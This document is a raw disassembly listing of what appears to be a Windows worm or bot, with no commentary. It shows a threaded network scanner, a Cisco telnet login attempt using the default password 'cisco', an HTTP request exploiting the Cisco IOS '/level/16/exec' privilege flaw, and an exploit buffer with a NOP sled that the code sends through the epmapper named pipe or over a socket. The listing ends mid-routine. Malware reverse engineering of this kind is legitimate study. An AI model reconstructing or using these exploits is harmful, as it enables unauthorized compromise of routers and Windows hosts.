Dest = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
Format = byte ptr -134h
Str = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 3F0h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 4Bh
pop ecx
mov esi, eax
lea edi, [ebp+74h+Format]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+74h+Format]
push eax
call dword_44417C ; inet_addr
xor edi, edi
cmp dword_43D878, edi
mov [ebp+74h+var_8], eax
mov [ebp+74h+var_4], edi
mov [ebp+74h+arg_0], edi
jz loc_40C2B6
mov esi, offset dword_43D878
mov ebx, offset aNetbios_0 ; "netbios"
loc_40C1B1: ; CODE XREF: sub_40C15B+155j
push [ebp+74h+var_1C]
push dword ptr [esi]
push [ebp+74h+var_8]
call sub_40BC56
add esp, 0Ch
cmp eax, 1
jnz loc_40C2A5
push dword ptr [esi]
lea eax, [ebp+74h+Format]
push eax
lea eax, [ebx+0Ah]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_432DE8 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_24] ; int
call sub_40123B
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
lea eax, [ebp+74h+Format]
push eax ; Format
lea eax, [ebp+74h+var_1EC]
push eax ; Dest
call _sprintf
lea eax, [ebp+74h+var_15C]
push ebx ; Format
push eax ; Dest
call _sprintf
add esp, 3Ch
cmp [ebp+74h+var_A4], 0
lea eax, [ebp+74h+var_A4]
jnz short loc_40C240
lea eax, [ebp+74h+Str]
loc_40C240: ; CODE XREF: sub_40C15B+DDj
push eax ; Format
lea eax, [ebp+74h+var_1DC]
push eax ; Dest
call _sprintf
mov eax, [ebp+74h+var_24]
mov [ebp+74h+var_1F0], eax
mov eax, [ebp+74h+var_14]
mov [ebp+74h+var_140], eax
mov eax, [ebp+74h+var_10]
pop ecx
mov [ebp+74h+var_13C], eax
mov eax, [esi]
pop ecx
mov [ebp+74h+var_150], eax
mov eax, [ebp+74h+var_18]
sub esp, 0BCh
mov [ebp+74h+var_14C], eax
mov eax, [ebp+74h+arg_0]
push 2Fh
pop ecx
mov [ebp+74h+var_148], eax
lea esi, [ebp+74h+var_1F0]
mov edi, esp
rep movsd
call dword ptr [ebx+2Ch]
add esp, 0BCh
inc [ebp+74h+var_4]
xor edi, edi
loc_40C2A5: ; CODE XREF: sub_40C15B+69j
inc [ebp+74h+arg_0]
add ebx, 40h
lea esi, [ebx+28h]
cmp [esi], edi
jnz loc_40C1B1
loc_40C2B6: ; CODE XREF: sub_40C15B+46j
push [ebp+74h+var_4]
lea eax, [ebp+74h+Format]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_432DB4 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_24] ; int
call sub_40123B
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_18]
call sub_40B149
add esp, 2Ch
push edi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_40C15B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_40C30A proc near ; DATA XREF: sub_40C3D3+77o
; sub_40C4C0+77o
var_BC = dword ptr -0BCh
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 0BCh
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_BC]
rep movsd
xor esi, esi
inc esi
push 10h ; Size
mov [eax+0A8h], esi
lea eax, [ebp+74h+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_38]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push 6
mov [ebp+74h+var_E], ax
mov eax, [ebp+74h+var_28]
push esi
push 2
mov [ebp+74h+var_C], eax
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C3C1
push 10h
lea eax, [ebp+74h+Dst]
push eax
push esi
call dword_4440AC ; connect
mov ecx, [ebp+74h+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_4444F4[ecx], esi
jz short loc_40C3C1
push [ebp+74h+var_38]
push [ebp+74h+var_28]
call dword_444188 ; inet_ntoa
push eax
push offset asc_432E18 ; "-"
mov edi, offset byte_4D49B0
push edi ; Dest
call _sprintf
push 0 ; int
push [ebp+74h+var_20] ; int
lea eax, [ebp+74h+Str]
push edi ; int
push eax ; Str
push [ebp+74h+var_BC] ; int
call sub_40123B
push edi
call sub_417D70
add esp, 28h
loc_40C3C1: ; CODE XREF: sub_40C30A+5Cj
; sub_40C30A+7Dj
push esi
call dword_444218 ; closesocket
pop edi
xor eax, eax
pop esi
add ebp, 74h
leave
retn 4
sub_40C30A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
; int __cdecl sub_40C3D3(int Dst)
sub_40C3D3 proc near ; DATA XREF: sub_40274D+5D4Bo
Source = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
Src = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 134h
push ebx
mov ebx, [ebp+74h+Dst]
push esi
push edi
push 2Bh
pop ecx
mov esi, ebx
lea edi, [ebp+74h+var_B4]
rep movsd
mov esi, ds:dword_42B014
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C400: ; CODE XREF: sub_40C3D3+E8j
push [ebp+74h+var_30]
push [ebp+74h+Src]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_432E40 ; "-"
push eax ; Dest
call _sprintf
push 1FFh ; Count
lea eax, [ebp+74h+Source]
push eax ; Source
mov eax, [ebp+74h+var_24]
imul eax, 234h
add eax, offset dword_4442E8
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+74h+var_8]
push eax
push edi
lea eax, [ebp+74h+var_B4]
push eax
push offset sub_40C30A
push edi
push edi
call ds:dword_42B03C ; CreateThread
cmp eax, edi
mov [ebp+74h+var_4], eax
jz short loc_40C469
jmp short loc_40C464
; ---------------------------------------------------------------------------
loc_40C460: ; CODE XREF: sub_40C3D3+94j
push 32h
call esi ; Sleep
loc_40C464: ; CODE XREF: sub_40C3D3+8Bj
cmp [ebp+74h+var_C], edi
jz short loc_40C460
loc_40C469: ; CODE XREF: sub_40C3D3+89j
push [ebp+74h+var_4]
call ds:dword_42B004 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
push 4 ; Size
lea eax, [ebp+74h+Src]
push eax ; Src
lea eax, [ebp+74h+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+74h+Dst]
call dword_4441DC ; htonl
inc eax
push eax
mov [ebp+74h+Dst], eax
call dword_444234 ; htonl
mov [ebp+74h+Dst], eax
push 4 ; Size
lea eax, [ebp+74h+Dst]
push eax ; Src
lea eax, [ebp+74h+Src]
push eax ; Dst
call _memcpy
add esp, 0Ch
jmp loc_40C400
sub_40C3D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_40C4C0 proc near ; DATA XREF: sub_40274D+5A65o
Source = byte ptr -130h
var_B0 = dword ptr -0B0h
Str = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 130h
push ebx
mov ebx, [ebp+74h+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, ebx
lea edi, [ebp+74h+var_B0]
rep movsd
mov esi, ds:dword_42B014
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C4ED: ; CODE XREF: sub_40C4C0+B8j
push [ebp+74h+var_2C]
push [ebp+74h+var_1C]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_432E94 ; "-"
push eax ; Dest
call _sprintf
push 1FFh ; Count
lea eax, [ebp+74h+Source]
push eax ; Source
mov eax, [ebp+74h+var_20]
imul eax, 234h
add eax, offset dword_4442E8
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+74h+var_4]
push eax
push edi
lea eax, [ebp+74h+var_B0]
push eax
push offset sub_40C30A
push edi
push edi
call ds:dword_42B03C ; CreateThread
cmp eax, edi
mov [ebp+74h+arg_0], eax
jz short loc_40C556
jmp short loc_40C551
; ---------------------------------------------------------------------------
loc_40C54D: ; CODE XREF: sub_40C4C0+94j
push 32h
call esi ; Sleep
loc_40C551: ; CODE XREF: sub_40C4C0+8Bj
cmp [ebp+74h+var_8], edi
jz short loc_40C54D
loc_40C556: ; CODE XREF: sub_40C4C0+89j
push [ebp+74h+arg_0]
call ds:dword_42B004 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+74h+var_2C]
cmp eax, [ebp+74h+var_28]
jz short loc_40C57D
inc [ebp+74h+var_2C]
jmp loc_40C4ED
; ---------------------------------------------------------------------------
loc_40C57D: ; CODE XREF: sub_40C4C0+B3j
push [ebp+74h+var_1C]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_432E68 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Source]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_B0] ; int
call sub_40123B
push [ebp+74h+var_20]
call sub_40B149
add esp, 24h
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 74h
leave
retn 4
sub_40C4C0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 290h
push esi
push edi
xor esi, esi
push esi
push 1
push 2
call dword_444100 ; socket
mov edi, eax
cmp edi, esi
jl loc_40C72B
push 10h
lea eax, [ebp-10h]
push esi
push eax
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-10h], 2
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_444260 ; htons
mov [ebp-0Eh], ax
push 10h
lea eax, [ebp-10h]
push eax
push edi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40C72B
push 40h
lea eax, [ebp-50h]
push esi
push eax
call _memset
push 40h
lea eax, [ebp-90h]
push esi
push eax
call _memset
add esp, 18h
push esi
push 40h
lea eax, [ebp-50h]
push eax
push edi
call dword_444064 ; recv
test eax, eax
jle loc_40C72B
push esi
push 40h
lea eax, [ebp-50h]
push eax
push edi
call dword_444064 ; recv
push esi
push 6
push offset aCisco ; "cisco\r"
push edi
call dword_4441A0 ; send
push esi
push 40h
lea eax, [ebp-90h]
push eax
push edi
call dword_444064 ; recv
push 6
lea eax, [ebp-90h]
push offset aPass ; "\r\nPass"
push eax
call _memcmp
add esp, 0Ch
test eax, eax
jz short loc_40C72B
push 28h
lea eax, [ebp-50h]
push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
push eax
call _memcmp
add esp, 0Ch
test eax, eax
jnz short loc_40C72B
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_432EC0
lea eax, [ebp-290h]
push 200h
push eax
call __snprintf
push esi
push dword ptr [ebp+0B8h]
lea eax, [ebp-290h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40123B
lea eax, [ebp-290h]
push eax
call sub_417D70
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
add esp, 2Ch
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_40C72D
; ---------------------------------------------------------------------------
loc_40C72B: ; CODE XREF: .text:0040C5E2j
; .text:0040C62Aj ...
xor eax, eax
loc_40C72D: ; CODE XREF: .text:0040C729j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1210h
call __alloca_probe
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 1
push 2
call dword_444100 ; socket
mov edi, eax
cmp edi, ebx
jl loc_40C894
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-10h], 2
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_444260 ; htons
mov [ebp-0Eh], ax
push 10h
lea eax, [ebp-10h]
push eax
push edi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40C894
push ebx
mov esi, offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n"
push esi
call _strlen
pop ecx
push eax
push esi
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_40C894
mov esi, 1000h
push esi
lea eax, [ebp-1210h]
push ebx
push eax
call _memset
add esp, 0Ch
push ebx
push esi
lea eax, [ebp-1210h]
push eax
push edi
call dword_444064 ; recv
mov esi, eax
cmp esi, ebx
jl loc_40C894
push edi
call dword_444218 ; closesocket
cmp esi, 5
jl loc_40C894
lea eax, [ebp-1210h]
push offset aHttp1_0200Ok ; "HTTP/1.0 200 OK"
push eax
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40C894
lea eax, [ebp-1210h]
push offset aCisco_0 ; "cisco"
push eax
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40C894
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_432F24
lea eax, [ebp-210h]
push 200h
push eax
call __snprintf
push ebx
push dword ptr [ebp+0B8h]
lea eax, [ebp-210h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40123B
lea eax, [ebp-210h]
push eax
call sub_417D70
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
add esp, 2Ch
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_40C896
; ---------------------------------------------------------------------------
loc_40C894: ; CODE XREF: .text:0040C752j
; .text:0040C79Aj ...
xor eax, eax
loc_40C896: ; CODE XREF: .text:0040C892j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C89B proc near ; CODE XREF: .text:0040CC6Fp
; .text:004105B1p
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432F8C
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432F84 ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
xor eax, eax
mov ecx, 8Ah
lea edi, [ebp+var_34E]
rep stosd
push 45h
stosw
pop ecx
xor ebx, ebx
xor eax, eax
mov byte ptr [ebp+Source], bl
lea edi, [ebp+Source+1]
rep stosd
stosw
push 0FFh
stosb
lea eax, [ebp+Source]
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push ebx
push ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
mov esi, [ebp+arg_4]
add esp, 10h
lea eax, [ebp+Dest]
push ebx
mov [esi+14h], eax
mov eax, offset dword_432F80
push eax
push eax
push esi
mov [esi+4], ebx
mov [esi+10h], ebx
mov [esi+1Ch], ebx
call dword_444240
cmp eax, 5
mov edi, 4C3h
jz short loc_40C95A
cmp eax, edi
jnz short loc_40C964
loc_40C95A: ; CODE XREF: sub_40C89B+B9j
push ebx
push ebx
push ebx
push esi
call dword_444240
loc_40C964: ; CODE XREF: sub_40C89B+BDj
cmp eax, 5
jz short loc_40C972
cmp eax, edi
jz short loc_40C972
xor eax, eax
inc eax
jmp short loc_40C974
; ---------------------------------------------------------------------------
loc_40C972: ; CODE XREF: sub_40C89B+CCj
; sub_40C89B+D0j
xor eax, eax
loc_40C974: ; CODE XREF: sub_40C89B+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_40C89B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C979 proc near ; CODE XREF: .text:0040CCC1p
; .text:0040CDA1p ...
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432F8C
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432F84 ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
xor eax, eax
mov ecx, 8Ah
lea edi, [ebp+var_34E]
rep stosd
push 45h
stosw
pop ecx
xor ebx, ebx
xor eax, eax
mov byte ptr [ebp+Source], bl
lea edi, [ebp+Source+1]
rep stosd
stosw
push 0FFh
stosb
lea eax, [ebp+Source]
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push ebx
push ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
add esp, 10h
jmp short loc_40CA13
; ---------------------------------------------------------------------------
loc_40CA08: ; CODE XREF: sub_40C979+ABj
push 7D0h
call ds:dword_42B014 ; Sleep
loc_40CA13: ; CODE XREF: sub_40C979+8Dj
push ebx
lea eax, [ebp+Dest]
push ebx
push eax
call dword_444090
test eax, eax
jnz short loc_40CA08
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_40C979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA2C proc near ; CODE XREF: .text:0040CCEDp
; .text:0040CE2Ep
Src = byte ptr -2000h
var_1FDC = byte ptr -1FDCh
Dst = byte ptr -1FD0h
var_1F29 = byte ptr -1F29h
var_1000 = byte ptr -1000h
var_FF8 = dword ptr -0FF8h
var_FF0 = dword ptr -0FF0h
var_F80 = dword ptr -0F80h
var_F7C = dword ptr -0F7Ch
var_F4C = dword ptr -0F4Ch
var_F48 = dword ptr -0F48h
var_F30 = dword ptr -0F30h
var_E74 = dword ptr -0E74h
var_CA0 = dword ptr -0CA0h
var_C98 = dword ptr -0C98h
var_C90 = byte ptr -0C90h
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 2000h
call __alloca_probe
push ebx
push esi
push edi
push 30h ; Size
lea eax, [ebp+Src]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax ; Dst
mov edi, 0A7h
call _memcpy
push edi ; Size
lea eax, [ebp+Dst]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
push 159h ; Size
mov ebx, offset dword_43E620
lea eax, [ebp+var_1F29]
push ebx ; Src
push eax ; Dst
call _memcpy
add esp, 24h
loc_40CA7D: ; CODE XREF: sub_40CA2C+9Bj
push 30h ; Size
lea eax, [ebp+Src]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax ; Dst
inc edi
call _memcpy
push edi ; Size
lea eax, [ebp+Dst]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
push 159h ; Size
lea eax, [ebp+edi+Dst]
push ebx ; Src
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [edi+189h]
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_40CA7D
cmp [ebp+arg_C4], 0
jz short loc_40CAE4
cmp [ebp+arg_C0], 3
jz short loc_40CAED
cmp [ebp+arg_C0], 0
jmp short loc_40CAEB
; ---------------------------------------------------------------------------
loc_40CAE4: ; CODE XREF: sub_40CA2C+A4j
cmp [ebp+arg_C0], 3
loc_40CAEB: ; CODE XREF: sub_40CA2C+B6j
jnz short loc_40CAF6
loc_40CAED: ; CODE XREF: sub_40CA2C+ADj
push 4
push offset dword_43E61C
jmp short loc_40CAFD
; ---------------------------------------------------------------------------
loc_40CAF6: ; CODE XREF: sub_40CA2C:loc_40CAEBj
push 4 ; Size
push offset dword_43E618 ; Src
loc_40CAFD: ; CODE XREF: sub_40CA2C+C8j
lea eax, [ebp+var_1FDC]
push eax ; Dst
call _memcpy
add esp, 0Ch
push 360h ; Size
lea eax, [ebp+var_1000]
push offset dword_43E150 ; Src
push eax ; Dst
call _memcpy
push 10h ; Size
lea eax, [ebp+var_CA0]
push offset dword_43E4B4 ; Src
push eax ; Dst
call _memcpy
push esi ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_C90]
push eax ; Dst
call _memcpy
push 3Ch ; Size
lea edi, [esi+370h]
lea eax, [ebp+edi+var_1000]
push offset off_43E4C8 ; Src
push eax ; Dst
call _memcpy
push 30h ; Size
add edi, 3Ch
lea eax, [ebp+edi+var_1000]
push offset dword_43E508 ; Src
push eax ; Dst
call _memcpy
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA0], eax
add [ebp+var_C98], eax
mov eax, [ebp+var_FF8]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF8], eax
mov eax, [ebp+var_FF0]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF0], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F7C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F7C], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F48]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F48], eax
mov eax, [ebp+var_F30]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F30], eax
mov eax, [ebp+var_E74]
lea eax, [eax+esi-0Ch]
add edi, 30h
lea esi, [edi+1]
push esi ; Size
mov [ebp+var_E74], eax
call _malloc
add esp, 40h
push esi ; Size
mov ebx, eax
push 0 ; Val
push ebx ; Dst
call _memset
push edi ; Size
lea eax, [ebp+var_1000]
push eax ; Src
push ebx ; Dst
call _memcpy
mov eax, [ebp+arg_BC]
mov [eax], edi
add esp, 18h
mov eax, ebx
pop edi
pop esi
pop ebx
leave
retn
sub_40CA2C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1138h
call __alloca_probe
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40CDB5
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40C89B
test eax, eax
pop ecx
pop ecx
jz loc_40CEC5
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-138h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call _sprintf
add esp, 0Ch
xor ebx, ebx
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
lea eax, [ebp-138h]
push eax
call ds:dword_42B08C ; CreateFileA
mov [ebp-4], eax
cmp eax, 0FFFFFFFFh
lea eax, [ebp+0Ch]
jnz short loc_40CCCC
loc_40CCC0: ; CODE XREF: .text:0040CD6Dj
push eax
call sub_40C979
pop ecx
jmp loc_40CEC5
; ---------------------------------------------------------------------------
loc_40CCCC: ; CODE XREF: .text:0040CCBEj
push 2
push eax
call sub_41AA0A
pop ecx
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40CA2C
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40CD61
mov edi, 186A0h
push edi
call _malloc
push edi
mov esi, eax
push ebx
push esi
call _memset
add esp, 10h
push ebx
lea eax, [ebp-0Ch]
push eax
mov edi, 2710h
push edi
push esi
push 48h
push offset dword_43E100
push dword ptr [ebp-4]
call ds:dword_42B088 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40CD51
push ebx
lea eax, [ebp-14h]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call ds:dword_42B084 ; WriteFile
test eax, eax
jnz short loc_40CD72
loc_40CD51: ; CODE XREF: .text:0040CD37j
push esi
call _free
push dword ptr [ebp-8]
call _free
pop ecx
pop ecx
loc_40CD61: ; CODE XREF: .text:0040CCFDj
push dword ptr [ebp-4]
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+0Ch]
jmp loc_40CCC0
; ---------------------------------------------------------------------------
loc_40CD72: ; CODE XREF: .text:0040CD4Fj
push ebx
lea eax, [ebp-0Ch]
push eax
push edi
push esi
push dword ptr [ebp-4]
call ds:dword_42B080 ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call _free
push esi
call _free
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40C979
cmp edi, 1
pop ecx
jnz loc_40CED6
jmp loc_40CEC5
; ---------------------------------------------------------------------------
loc_40CDB5: ; CODE XREF: .text:0040CC61j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_41AA0A
mov esi, eax
cmp esi, 1
pop ecx
pop ecx
jz loc_40CEC5
xor ebx, ebx
push ebx
push 1
push 2
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40CEC5
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call _memset
add esp, 0Ch
push dword ptr [ebp+0A8h]
mov word ptr [ebp-24h], 2
call dword_444260 ; htons
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_44417C ; inet_addr
push ebx
push esi
mov [ebp-20h], eax
lea eax, [ebp-0Ch]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40CA2C
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40CE47
push dword ptr [ebp-4]
jmp short loc_40CEBF
; ---------------------------------------------------------------------------
loc_40CE47: ; CODE XREF: .text:0040CE40j
mov edi, [ebp-4]
push 10h
lea eax, [ebp-24h]
push eax
push edi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40CE5F
loc_40CE5C: ; CODE XREF: .text:0040CE71j
push esi
jmp short loc_40CEB8
; ---------------------------------------------------------------------------
loc_40CE5F: ; CODE XREF: .text:0040CE5Aj
push ebx
push 48h
push offset dword_43E100
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40CE5C
push ebx
mov esi, 1000h
push esi
lea eax, [ebp-1138h]
push eax
push edi
call dword_444064 ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40CEA0
push dword ptr [ebp-8]
jmp short loc_40CEB8
; ---------------------------------------------------------------------------
loc_40CEA0: ; CODE XREF: .text:0040CE99j
push ebx
push esi
lea eax, [ebp-1138h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
push dword ptr [ebp-8]
jnz short loc_40CEC9
loc_40CEB8: ; CODE XREF: .text:0040CE5Dj
; .text:0040CE9Ej
call _free
pop ecx
push edi
loc_40CEBF: ; CODE XREF: .text:0040CE45j
call dword_444218 ; closesocket
loc_40CEC5: ; CODE XREF: .text:0040CC78j
; .text:0040CCC7j ...
xor eax, eax
jmp short loc_40CF19
; ---------------------------------------------------------------------------
loc_40CEC9: ; CODE XREF: .text:0040CEB6j
call _free
pop ecx
push edi
call dword_444218 ; closesocket
loc_40CED6: ; CODE XREF: .text:0040CDAAj
push 1F4h
call ds:dword_42B014 ; Sleep
push 7C7h
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_40CF16
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
loc_40CF16: ; CODE XREF: .text:0040CF03j
